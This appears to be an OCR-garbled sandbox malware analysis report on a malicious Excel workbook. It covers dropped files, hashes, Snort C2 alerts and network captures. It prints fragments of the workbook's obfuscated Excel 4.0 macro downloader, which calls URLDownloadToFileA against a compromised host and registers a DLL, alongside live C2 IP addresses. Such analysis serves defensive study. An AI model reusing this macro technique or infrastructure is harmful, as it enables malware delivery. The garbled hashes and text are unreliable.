[<(tk..... %B.b,./.. .#h....C.P...B..Sd.F...D.k ........... 0.W...@(. @K...2.)ce ... \\....l....Q.Qd..+...@ . X. .##3..M.d..n6.....p1..)..XOV...ZK{.. { =#h.v.)....b..*.[..L.*c..a..,...E5
Xoidow. #or+. . X Pk V.S Xre.  9EX.=\..Km...... B...Ep..xl@@c1.....p?...d {EYN.K.X>D3..Z..q.] .Mgq......... L.n}........ +/\.cDBO."Y...r[.........VM...0.=....zK..I..
I.>B...U..3....2..Z|S..WwZ.M...IW;..e.L...zZC.wBtQ..& Z.Fv+..G9.8..L.\T:K".....m......... 9T.u..3h....{..d[..@...Q.7..p.e.t[.%7.......... M.,

C:\Users\luser\AppData\Local\Temp\Tar20EA.tmp

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\wermgr.exe

data

modified

152788

6.316654432555028

false
1536:WIA6c7RbAh/E9nF2hspNuc8odv+1//FnzAYtYyjCQxSMnI3xIUwg:WAmMfF3pNuc7v+ICQSMnnSx
64FEDADE4387A8B92C120B21EC61E394

15A2673209A41CCA2BC3ADEY0537FE676010A962
BB899286BE1709A14630DC5ED80B588FDD872DB361678D3105BOACEOD1EA6745
655458CB108034E46BCE5C4A68977DCBF77E20F4985DC46F127ECBDEO9D6364FE308F3D70295BA305667A027AD12C952B7A32391EFE4BD5400AF2F4D0D83087
false

moderate, very likely benign file

0..T...*.H.........T.O..T....1.0...‘.H.e......0..D...+.....7.....D.O..D.O...+... R19%..210115004237Z0...+......0..D.0..*....."..@.,..0..0.r1...0...+.....7..~1.....D...0..+.....7..i1...0

+...7<.0 . +....7..1......@N... 0$.+...7...1.. ‘@V'.%..*..S.Y.00..+.....7..b1". ].L4> . X..EW.." -@w0Z..+.....7...1L.JM.i.c.r.o.s.0.f.t. .R.0.0.t. .C.e.rtifi.c.a.
L uIv %1...0..+..... 7.h1...6M..0. .+ ... 7.~L ... 0. +..... 7...1...0...+ ....... 0.+..7..1..0.V......b0$..+....7..1..>)....5,.=$.~R."..00.

i ....7.2..Gy.cS.OD..+....7.. 164Ver|S .g.n. .T.i.m.e. .S.tam.p.in.g. .CA..0.....4..R..2.7.. ..1..0..+....7..h1......0&...0...+.....7..i1...0..+....7<..0
J.d@0%. . +.....7.. 1. W F....9.N.."...00..+.....7..b1". .@.....G..d.m..$.... X..}JOB..+.....7...14.2M.i.c.r.0.s.0.f.t. .R.0.0.t. .A.u.t.h.0

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK

Process:

File Type:

Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Sat Feb 20
10:16:34 2021, atime=Sat Feb 20 10:16:34 2021, length=16384, window=hide

dropped

867

4.495155303444507

false
12:85Q+pgLgXg/XAICPCHaXSzB8aB/OxJX+WhnicvbLbDtZ3YilMMEpxRIjKrcCTdJP8:85jk/XTK6aEJYe7Dv3qSnrNru/
6ADBESOE987BF8C934BD3809D8B2B24A

6E7E22616035724B1F851AFDODB24BF745C1A49D
A48DD1DA24A3FFD1E5FF10E8314D8FB031D4741E37E22FD8297E4F440144FE54

F8BD2A5C8116945136D106753122AABC98EF29877E246A2CDCAFECDE777DEDEC2AF167DB6FF6BB86C53ACD56359B29AAFDF95851D1DCC39C612C2F94AA31F
76

false

low

B 400, /C\ t1.....QK.X. Users. .......QK.X* ..o 6....Us.ers..@.s.h.ell3.2.dll,.-
Alb.us....z.1....TR.Z..Desktop.d ....D.eskto.p..@.s.hell3.2.dll,.-2.
. \\320946\Users user\Desktop 1SPS.XF.L

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\SecuriteInfo.com.Exploit.Siggen3.10350.13127.LNK

Process:

File Type:

Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

Copyright null 2021

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Sat Feb 20 10:16:21 2021, mtime=Sat Feb 20 10:16:34 2021,
atime=Sat Feb 20 10:16:34 2021, length=168448, window=hide

dropped

2368

4.581927649821565

false

48:8BN/XTZaiHCqQFHCCWQh2BN/XTZaiHCqQFHCCWQ/:8BN/X1aiiyCWQh2BN/X1aiiyCWQ/

6463D8D40C4CE9238290D3D9B27C30F2

5DB759C84513B007B87571B18FAEC5140DA23BIC

16E680D0309BC36471D6668FCI142E40093A5879F6EDD687A1F3AB88B07D4412
8B5622C40D905FE466777FCD5A61C9F3BBD8C563A969DES85EFC0B41BD00260C7FD8A340E47AB7A754CFFF8010129379DCB1D15611F29C444E179E9812329D7

false

6....Us.ers..@.s.hell3.2.dll,.
- .D.essk.to.p..@.s.hell3.2.dlLl,.

e Seecciuritellnfio..c.om.. Epr0|t .S.i.g.g.e.n.3..1.0.3.5.0...1.3.1.2.7..x.l.s...
\\320946\Users user\Desktop\SecunteInfo com.Exploit.Siggen3.10350.13127.xIs.G. ..\.D.e.s.k.t.o.p.\.S.e.c
.S..g.0..n.3...1.0.3.5.0...1.3.2.2.7..x.l.S.........le., . LB) . AG 1SPS.XF.L8C....& m.m..

1.7.6.9......2....
8o ?J......C:\\Users\..#..
.urite.lnfo..c.om..Ex.p.lo.i
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C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 185

Entropy (8bit): 4.864166697857585

Encrypted: false

SSDEEP: 3:0yBVomMObcsoMW3k2uschcsoMW3k2mMObcsoMW3k2v:dj60wsoMWOnwsoMW0o0wsoMWOI
MD5: C69269D3656A2431308C88DEF4D4F13F

SHAL: F674A7D59F59141335B18F2B639B47DBCE39B7A9

SHA-256: EE99BFC929243FB6DE7456053F6298AF672490869E31DB431EBC927E07483DD2

SHA-512: 15C6248901F8FDF3DFD060938B7E70AD372878E99DB616F33129A788004190E3F6AA10D7CF5810F57798A09980A61017191F1606D304B719826EE4A6741AAAG3
Malicious: false

Preview:

Desktop.LNK=0..[xIs]..SecuriteInfo.com.Exploit.Siggen3.10350.13127.LNK=0..SecuriteInfo.com.Exploit. Siggen3.10350.13127.LNK=0..[xls].. SecuriteInfo.com.Exploit.Si
ggen3.10350.13127.LNK=0..

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 4591104

Entropy (8bit): 5.0540147937501265

Encrypted: false

SSDEEP: 49152:7Skyvlo/YMOZswCkQzvhtawebv5hW2/yF//4VPQw:NCetO//S9

MD5: 25056DF6D3546DE971EAFESDASFOAE44

SHAL: 179555B3D0391E45DF29E651B8ED0342D02FE88A

SHA-256: AA7931E3E85D3C5BD6FC2052C38BEE389BFBA9281A8616DA3275149A689EC5EB

SHA-512: 8032A5BD9B07ACCC290B24FD2AFA299AFD12214026089665836FADE7282F0D217FFD79F5A3A12FD64EOE08D4F6FA0A04A8B036B4CDC1F95356B0BF43D6AB0B!
0

Malicious: true

Antivirus: e Antivirus: Metadefender, Detection: 11%, Browse

Antivirus: ReversingLabs, Detection: 6%

Joe Sandbox
View:

Filename: SecuriteInfo.com.Exploit.Siggen3.10350.857 .xls, Detection: malicious, Browse
Filename: SecuriteInfo.com.Exploit.Siggen3.10350.12632.xls, Detection: malicious, Browse
Filename: SecuriteInfo.com.Exploit.Siggen3.10350.20211.xls, Detection: malicious, Browse
Filename: SecuriteInfo.com.Exploit.Siggen3.10350.27303.xls, Detection: malicious, Browse
Filename: SecuriteInfo.com.Exploit.Siggen3.10350.24644.xls, Detection: malicious, Browse
Filename: SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls, Detection: malicious, Browse
Filename: SecuriteInfo.com.Exploit.Siggen3.10350.26515.xls, Detection: malicious, Browse
Filename: SecuriteInfo.com.Exploit.Siggen3.10350.31033.xls, Detection: malicious, Browse
Filename: Securitelnfo.com.Heur.1476.xls, Detection: malicious, Browse

Filename: Securitelnfo.com.Heur.1181.xls, Detection: malicious, Browse

Filename: SecuriteInfo.com.Heur.21235.xls, Detection: malicious, Browse

Filename: SecuriteInfo.com.Heur.15875.xls, Detection: malicious, Browse

Filename: SecuriteInfo.com.Heur.21759.xls, Detection: malicious, Browse

Filename: Securitelnfo.com.Heur.2804 .xls, Detection: malicious, Browse

Filename: Securitelnfo.com.Heur.1138.xls, Detection: malicious, Browse

Filename: SecuriteInfo.com.Heur.11266.xls, Detection: malicious, Browse

Filename: SecuriteInfo.com.Heur.18554.xls, Detection: malicious, Browse

Filename: Sign-636.xls, Detection: malicious, Browse

Filename: Sign-92793351_1597657581.xls, Detection: malicious, Browse

Filename: Sign-979329054_1327186231.xls, Detection: malicious, Browse

Preview:
............................................... 1..L.IThis program cannot be run in DOS mode....$....... ~y K* K* K * #.+ KX #A~K X # 4+ K x4 KE G+ K #+ KKK
PE.L..S/ ... L...rB... JA..Bu °F. ..@ .D."....D.<...D.Xp......

C:\Users\user\Desktop\AEBE0000

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: Applesoft BASIC program data, first line number 16

Category: dropped

Size (bytes): 177025

Entropy (8bit): 7.2399467144037395

Encrypted: false

SSDEEP: 3072:zccKoSsxzNDZLDZjIbR86808KL5L +4iK2xEtjPOtioViDGUU1qgfDlaGGx+cL2QnM:4cKoSsxzNDZLDZjIbR86808KL5L+4iKI

MD5: E48CD2A56FE62C58737B52EADBA85D78

SHAL: B43686D2ADBFBE3F46F740B3EE2E5BIC64634041

SHA-256: 3152805E9D9C73AD3F4697857DD09D126EFDC3BFIB81C57C2BC385F 741495172

SHA-512: 449E2593CDAD3C634F41E0FD35465EF74FD7B2FB2BC5885CDEC7CDAG929E2DEEOFCF43610DB04515B4EC8416D8142CCEA693ED5731971991CEE2CF62D01FF
7B
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https://www.metadefender.com/#!/results/file/bzIxMDIyMDBtOXlhcUNyb0pIZ25IU1hTMVo/regular/analysis
https://view.joesandbox.com/analysis/266499/html/none
https://view.joesandbox.com/analysis/266498/html/none
https://view.joesandbox.com/analysis/266497/html/none
https://view.joesandbox.com/analysis/266496/html/none
https://view.joesandbox.com/analysis/266495/html/none
https://view.joesandbox.com/analysis/266494/html/none
https://view.joesandbox.com/analysis/266492/html/none
https://view.joesandbox.com/analysis/266490/html/none
https://view.joesandbox.com/analysis/266455/html/none
https://view.joesandbox.com/analysis/266454/html/none
https://view.joesandbox.com/analysis/266453/html/none
https://view.joesandbox.com/analysis/266452/html/none
https://view.joesandbox.com/analysis/266450/html/none
https://view.joesandbox.com/analysis/266448/html/none
https://view.joesandbox.com/analysis/266446/html/none
https://view.joesandbox.com/analysis/266444/html/none
https://view.joesandbox.com/analysis/266442/html/none
https://view.joesandbox.com/analysis/266439/html/none
https://view.joesandbox.com/analysis/266421/html/none
https://view.joesandbox.com/analysis/266418/html/none

C:\Users\user\Desktop\AEBE0000
Malicious: false

Preview:

.Calibril...>.

Al
Librildo...........Calibril......

Static File Info

General

File type:

Entropy (8bit):
TriID:

File name:
File size:
MDS5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:

OLE File "Securitelnfo.com.Exploit.Siggen3.10350.13127.xIs"

Indicators

Has Summary Info:

Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros:

Summary
Code Page:
Author:

Last Saved By:
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B.
e CaalliberiiloCalibril..........Calibril.....
.Calibril....4..
....C.am.bu.rial.

edeea286adb4bcb4

OLE

True
Microsoft Excel
False
False
True
False

False

True

1251

.Caliburil
.Calibril...8
coeCaallicbriiil

X.@....
...Caalib.ril...

Composite Document File V2 Document, Little Endian,
Os: Windows, Version 6.2, Code page: 1251, Name of
Creating Application: Microsoft Excel, Create T
ime/Date: Sat Sep 16 01:00:00 2006, Last Saved Tim
e/Date: Fri Feb 19 10:48:36 2021, Security: 0

7.195176543915214

e Microsoft Excel sheet (30009/1) 78.94%
e Generic OLE2 / Multistream Compound File
(8008/1) 21.06%

Securitelnfo.com.Exploit.Siggen3.10350.13127 .xIs
168960

31964397103260697c37ee4237194da9
7c2dclc68edaeffiadef87c3ddfc53592¢c2b2c94

12956825df5f2b791e53cla2ab9d7afbd8e59411b01f61a
1f78ef6c5770c3efd

0440996111d6eada8a6f1389d0658adcc291b2d1000b5f4
7c83cc3c03673f4e4cc89ffad21a3b7ad02b13e208241ff0
432286201f254d15b1167fdbbf074c352

3072:bScKoSsxzNDZLDZjlbR86808KIVH3jiKgq7uDphY
HceXVhca+fMHLtyeGxcl80OUMD:OcKoSsxzNDZLDZjlb
R86808KIVH3jiKe

> H E..F..
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Summary

Create Time:

Last Saved Time:
Creating Application:

Security:

Document Summary
Document Code Page:
Thumbnail Scaling Desired:
Contains Dirty Links:
Shared Document:
Changed Hyperlinks:

Application Version:

Streams

2006-09-16 00:00:00
2021-02-19 10:48:36
Microsoft Excel

0

1251
False
False
False
False

917504

Stream Path: \x5DocumentSummarylnformation, File Type: data, Stream Size: 4096

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: \x6Summaryinformation, File Type: data, Stream Size: 4096

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

\x5DocumentSummarylnformation
data

4096

0.357299206868

False

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5
cd d5 9c¢ 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 ec 00 00 00 08 00 00 00 01 00 00 00
4800 00 00 17 00 00 00 50 00 00 00 Ob 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00
00 00 68 00 00 00 16 00 00 00 70 00 00 00 Od 00 00 00 78 00 00 00 Oc 00 00 00 ac 00 00 00
02 00 00 00 e3 04 00 00

\x5SummaryInformation
data

4096

0.247217286775

False

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f
f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40
00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 Oc 00 00
00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e3 04 00 00 1e
00 00 00 04 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 157800

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Macro 4.0 Code

Workbook

Applesoft BASIC program data, first line number 16
157800

7.46869820242

True

09 08 10 00 00 06 05 00 66 32 cd 07 c9 80 01 00 06 06 00 00 e1 00 02 00 b0 04 c1 00 02 00
00 00 e2 00 00 00 5¢ 00 70 00 02 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
202020 20 20 20 20 20

s =RIGHT("'353454543rtertetr, DIIRegister™,12)&V19",,,,"=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=
LEFT(123,0)=LEFT(123,0)=EXEC(RIGHT(""KJHDFHURNVUTRSHYSTNLUURTHNBDZZLRDNYZru"'&'DocuSign ''D139&" "'&'DocuSign ''D141&T119,40))",,,,,,,,=HALT(),,,
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"=FORMULA.FILL(A144,DocuSign!V19)",,,....immmmmmsmsssns =RIGHT("YIDYJIGYDINUDTUXTNXYXNURIMON™,6)",,,1,100101000000 " =RIGHT ("IDHNLTVIRBNZXKHTFHNMXTFUXTownloadToFileA™, 14

) =REGISTER(D134,"'URLD"'&D135,"JJCC"'&A146," YUTVUBSRNYTMYM™,,1,9)",,..000000000 NIP/M=YUTVUBSRNYTMYM(0,T137&D144&E144&E145& E146&E147,D0141,0,0)",,,,
s =RIGHT("LKUYFBGVESLTNZBRHYMHYRZNdIIZ2™,6) 110000000 =RIGHT (" XCVBDSTYFGYSDUZGKLRDHZTDJ. \BASE.BABAA™, 13)",,,..1000mmmmmmmmm0 =GOTO(DoCUSIgr
Dissrsnssrssnsn SEIVET, ,WWW.Chipmania.it/mails/open,., ... PrsismsnssBBuyn s Prsmn,

Network Behavior

Snort IDS Alerts

Source Dest
Timestamp Protocol SID Message Port Port Source IP Dest IP
02/20/21- TCP 2404306 ET CNC Feodo Tracker Reported CnC Server TCP group 4 49166 443 192.168.2.22 142.202.191.164

03:17:14.088896

02/20/21- TCP 2404302 ET CNC Feodo Tracker Reported CnC Server TCP group 2 49168 443 192.168.2.22 108.170.20.75
03:17:16.980781

02/20/21- TCP 2404324 ET CNC Feodo Tracker Reported CnC Server TCP group 13 49170 443 192.168.2.22 200.52.147.93
03:18:00.666014

02/20/21- TCP 2404316 ET CNC Feodo Tracker Reported CnC Server TCP group 9 49171 443 192.168.2.22 186.137.85.76
03:19:11.713314

Network Port Distribution

Total Packets: 52

® 53 (DNS)

® 80 (HTTP)
TCP Packets
Timestamp Source Port Dest Port Source IP Dest IP
Feb 20, 2021 03:17:03.575388908 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.632915020 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.633085966 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.634332895 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.691679001 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.699875116 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.699927092 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.699975967 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.700018883 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.700040102 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.700057983 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.700098991 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.700103045 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.700134039 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.700139046 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.700176954 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.700186014 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.700217009 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.700242996 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.700257063 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.700289011 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.700339079 CET 49165 80 192.168.2.22 185.81.0.78
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Timestamp Source Port Dest Port Source IP Dest IP

Feb 20, 2021 03:17:03.709024906 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.759267092 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.759326935 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.759366989 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.759407997 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.759428978 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.759448051 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.759471893 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.759478092 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.759483099 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.759495974 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.759507895 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.759541988 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.759562969 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.759581089 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.759603024 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.759619951 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.759644985 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.759659052 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.759701967 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.759717941 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.759726048 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.759741068 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.759761095 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.759780884 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.759829044 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.759845972 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.759857893 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.759874105 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.759886980 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.759912014 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.759951115 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.759967089 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.759978056 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.759989977 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.760011911 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.760027885 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.760049105 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.760067940 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.760093927 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.760128975 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.760921955 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.818933964 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.819010019 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.819053888 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.819072962 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.819093943 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.819135904 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.819129944 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.819149017 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.819176912 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.819197893 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.819216013 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.819231987 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.819240093 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.819257021 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.819297075 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.819303036 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.819346905 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.819348097 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.819360018 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.819391012 CET 80 49165 185.81.0.78 192.168.2.22
Feb 20, 2021 03:17:03.819403887 CET 49165 80 192.168.2.22 185.81.0.78
Feb 20, 2021 03:17:03.819428921 CET 80 49165 185.81.0.78 192.168.2.22
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Timestamp Source Port Dest Port Source IP

Feb 20, 2021 03:17:03.819447994 CET 49165 80 192.168.2.22

Feb 20, 2021 03:17:03.819468975 CET 80 49165 185.81.0.78

Feb 20, 2021 03:17:03.819485903 CET 49165 80 192.168.2.22

Feb 20, 2021 03:17:03.819509983 CET 80 49165 185.81.0.78

Feb 20, 2021 03:17:03.819523096 CET 49165 80 192.168.2.22

Feb 20, 2021 03:17:03.819547892 CET 80 49165 185.81.0.78

Feb 20, 2021 03:17:03.819565058 CET 49165 80 192.168.2.22

Feb 20, 2021 03:17:03.819586992 CET 80 49165 185.81.0.78

Feb 20, 2021 03:17:03.819606066 CET 49165 80 192.168.2.22

Feb 20, 2021 03:17:03.819626093 CET 80 49165 185.81.0.78

Feb 20, 2021 03:17:03.819644928 CET 49165 80 192.168.2.22

Feb 20, 2021 03:17:03.819679022 CET 80 49165 185.81.0.78

Feb 20, 2021 03:17:03.819684029 CET 49165 80 192.168.2.22

Feb 20, 2021 03:17:03.819722891 CET 80 49165 185.81.0.78

UDP Packets

Timestamp Source Port Dest Port Source IP

Feb 20, 2021 03:17:03.494488001 CET 52197 53 192.168.2.22

Feb 20, 2021 03:17:03.552203894 CET 53 52197 8.8.8.8

Feb 20, 2021 03:17:15.065036058 CET 53099 53 192.168.2.22

Feb 20, 2021 03:17:15.127029896 CET 53 53099 8.8.8.8

Feb 20, 2021 03:17:15.140758991 CET 52838 53 192.168.2.22

Feb 20, 2021 03:17:15.201056957 CET 53 52838 8.8.8.8

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name

Feb 20, 2021 03:17:03.494488001 CET 192.168.2.22 8.8.8.8 0x62a5 Standard query  www.chipmania.it
(0)

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address

Feb 20, 2021 8.8.8.8 192.168.2.22 0x62a5 No error (0) www.chipmania.it chipmania.it

03:17:03.552203894

CET

Feb 20, 2021 8.8.8.8 192.168.2.22 0x62a5 No error (0) chipmania.it 185.81.0.78

03:17:03.552203894

CET

HTTP Request Dependency Graph

e www.chipmania.it

HTTP Packets

Session ID Source IP

0 192.168.2.22
kBytes

Timestamp transferred

Feb 20, 2021 0

03:17:03.634332895 CET

Copyright null 2021

Source Port

49165

Direction

ouT

Destination IP Destination Port Process

185.81.0.78 80

Data

GET /mails/open.php HTTP/1.1
Accept: */*

UA-CPU: AMD64
Accept-Encoding: gzip, deflate

Dest IP
185.81.0.78
192.168.2.22
185.81.0.78
192.168.2.22
185.81.0.78
192.168.2.22
185.81.0.78
192.168.2.22
185.81.0.78
192.168.2.22
185.81.0.78
192.168.2.22
185.81.0.78
192.168.2.22

Dest IP
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22

Type
A (IP address)

Type
CNAME
(Canonical name)

A (IP address)

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

Class

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: www.chipmania.it
Connection: Keep-Alive
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kBytes
Timestamp transferred Direction

Feb 20, 2021 2 IN
03:17:03.699875116 CET

HTTPS Packets

Data

HTTP/1.1 200 OK

Date: Sat, 20 Feb 2021 02:17:03 GMT

Server: Apache

Content-Disposition: attachment; filename="10.jjkes"

Upgrade: h2,h2c

Connection: Upgrade, Keep-Alive

Keep-Alive: timeout=1, max=100

Transfer-Encoding: chunked

Content-Type: application/octet-stream

Data Raw: 32 30 30 30 0d Oa 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 Oe 1f ba Oe 00
